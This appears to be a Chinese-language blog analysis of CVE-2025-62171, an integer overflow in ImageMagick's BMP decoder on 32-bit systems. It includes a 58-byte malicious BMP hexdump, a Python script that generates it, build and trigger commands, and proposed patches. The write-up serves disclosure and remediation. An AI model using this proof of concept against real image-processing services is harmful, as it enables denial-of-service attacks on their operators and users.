ImageMagick BMP 解码器整数溢出漏洞 (CVE-2025-62171) 深度解析

本文详细分析了ImageMagick在处理BMP图像时的一个关键整数溢出漏洞(CVE-2025-62171)。该漏洞源于BMP解码器中一处不完整的补丁,允许攻击者通过特制的58字节BMP文件在特定条件下触发拒绝服务。文章深入剖析了漏洞成因、影响范围,并提供了修复建议和复现步骤。

漏洞摘要

CVE-2025-62171是ImageMagick图像处理库中BMP解码器(ReadBMP)的一个整数溢出漏洞。虽然早期漏洞CVE-2025-57803声称已在ImageMagick 7.1.2-2中修复,但该补丁并不完整且无效。截至最新版本7.1.2-5,该漏洞仍然存在,攻击者可通过一个恶意构造的58字节BMP文件触发AddressSanitizer崩溃,导致拒绝服务(DoS)。

受影响版本

  • ImageMagick:< 7.1.2-2(原始报告版本)以及 7.1.2-2 至 7.1.2-5(补丁不完整)
  • 相关NuGet包(Magick.NET):所有版本号低于 14.9.0 的 Magick.NET-Q16-AnyCPUMagick.NET-Q16-HDRI-AnyCPUMagick.NET-Q16-HDRI-x86Magick.NET-Q16-x86Magick.NET-Q8-AnyCPUMagick.NET-Q8-x86

平台与配置要求

  • 仅影响 32位系统(如 i386, i686, armv7l 等),要求 size_t 为 4 字节。64位系统不受影响。
  • 需要手动修改了资源限制:必须提高了默认的宽度、高度和面积限制。使用默认ImageMagick资源限制的系统不易受攻击。

漏洞详情(根本原因分析)

易受攻击的代码位置

文件coders/bmp.c 版本:7.1.2-5 行号:1120-1122

不完整的补丁

1
2
3
4
5
6
7
8
9
// 第1120行:整数溢出发生在此处!
extent = image->columns * bmp_info.bits_per_pixel;  // 溢出点!

// 第1121行:使用已经溢出的值
bytes_per_line = 4*((extent+31)/32);

// 第1122行:检查的是结果,而不是乘法运算本身
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

补丁失败的原因

攻击向量(32位系统)

  • 输入BMP头信息

    • 宽度:536,870,912 (0x20000000)
    • 高度:1
    • 每像素位数:32
  • 在32位系统上的计算

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    
    extent = 536,870,912 × 32
           = 17,179,869,184 (0x400000000)
    
    // 32位截断:
    0x400000000 & 0xFFFFFFFF = 0x00000000  ← 溢出归零!
    
    bytes_per_line = 4 × ((0 + 31) / 32)
                   = 4 × 0
                   = 0
    
    BMPOverflowCheck(0, 1):
      return (1 != 0) && (0 > 4294967295UL/1)
      return True && (0 > 4294967295)
      return True && False
      return False  ← 未能检测到溢出!
    

    检查失败是因为:

    1. 溢出发生在第1120行(extent 计算)。
    2. 由于32位截断,extent 变为0。
    3. bytes_per_line 被计算为0(第1121行)。
    4. BMPOverflowCheck(0, 1) 返回 False(未检测到溢出)。
    5. 代码继续执行并使用损坏的值,最终导致ASan崩溃。

概念验证(PoC)

最小的58字节BMP文件

十六进制转储

1
2
3
4
00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

关键字段

  • 偏移量 0x12:宽度 = 00 00 00 20 = 0x20000000 (536,870,912)
  • 偏移量 0x16:高度 = 01 00 00 00 = 1
  • 偏移量 0x1C:每像素位数 = 20 00 = 32

Python生成器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP文件头(14字节)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # 文件大小
file_header += struct.pack('<HH', 0, 0)   # 保留位
file_header += struct.pack('<I', 54)      # 像素数据偏移量

# DIB头(40字节)
dib_header = struct.pack('<I', 40)        # 头大小
dib_header += struct.pack('<i', width)    # 宽度
dib_header += struct.pack('<i', height)   # 高度
dib_header += struct.pack('<H', 1)        # 颜色平面数
dib_header += struct.pack('<H', bpp)      # 每像素位数
dib_header += struct.pack('<I', 0)        # 压缩方式
dib_header += struct.pack('<I', 0)        # 图像大小
dib_header += struct.pack('<i', 2835)     # 水平分辨率(像素/米)
dib_header += struct.pack('<i', 2835)     # 垂直分辨率(像素/米)
dib_header += struct.pack('<I', 0)        # 调色板颜色数
dib_header += struct.pack('<I', 0)        # 重要颜色数

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header + pixel_data)

print(f"已创建 overflow.bmp (58 字节)")

复现步骤

环境设置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 使用32位Docker容器
docker run -it --name test-32bit i386/ubuntu:latest bash

# 安装依赖
apt-get update
apt-get install -y clang build-essential wget tar \
    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
    zlib1g-dev liblzma-dev libbz2-dev

# 下载 ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5

使用AddressSanitizer构建(32位,关键!)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# 配置32位构建(至关重要 - 必须是32位!)
./configure \
    --host=i686-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \
    --without-x \
    --without-perl \
    --without-magick-plus-plus \
    --without-lqr \
    --without-zstd \
    --without-tiff \
    --with-quantum-depth=8 \
    --disable-hdri \
    CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

触发漏洞

1
2
3
4
5
6
7
8
# 设置环境以绕过 cache.c 中的限制
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1"
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

# 使用恶意BMP文件进行测试(使用上面的Python脚本创建)
./utilities/magick identify overflow.bmp

AddressSanitizer 输出示例

1
2
3
4
5
6
7
8
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return:
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow

影响

攻击场景

  1. 攻击者创建一个58字节的恶意BMP文件。
  2. 将其上传到使用ImageMagick(且在32位系统上)的Web服务。
  3. ImageMagick尝试处理该图像。
  4. 整数溢出触发AddressSanitizer崩溃。
  5. 服务变得不可用(拒绝服务)。

现实世界中的潜在目标

  • 提供图像处理的网络托管平台。
  • 带有缩略图生成功能的CDN服务。
  • 遗留嵌入式系统。
  • 运行32位Linux的物联网设备。
  • 使用32位基础镜像的Docker容器。

建议的修复方案

正确的补丁

溢出检查必须在乘法运算之前进行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 在计算 extent 之前添加溢出检查
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// 现在可以安全计算
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// 额外的安全检查
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

替代方案:使用64位算术

1
2
3
4
5
6
7
8
// 强制使用64位计算
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

致谢

参考资料

漏洞信息

  • CVE ID: CVE-2025-62171
  • GHSA ID: GHSA-9pp9-cfwx-54rm
  • 严重等级: 中危 (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H,总分 4.4)
  • 弱点枚举: CWE-190 - 整数溢出或回绕
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计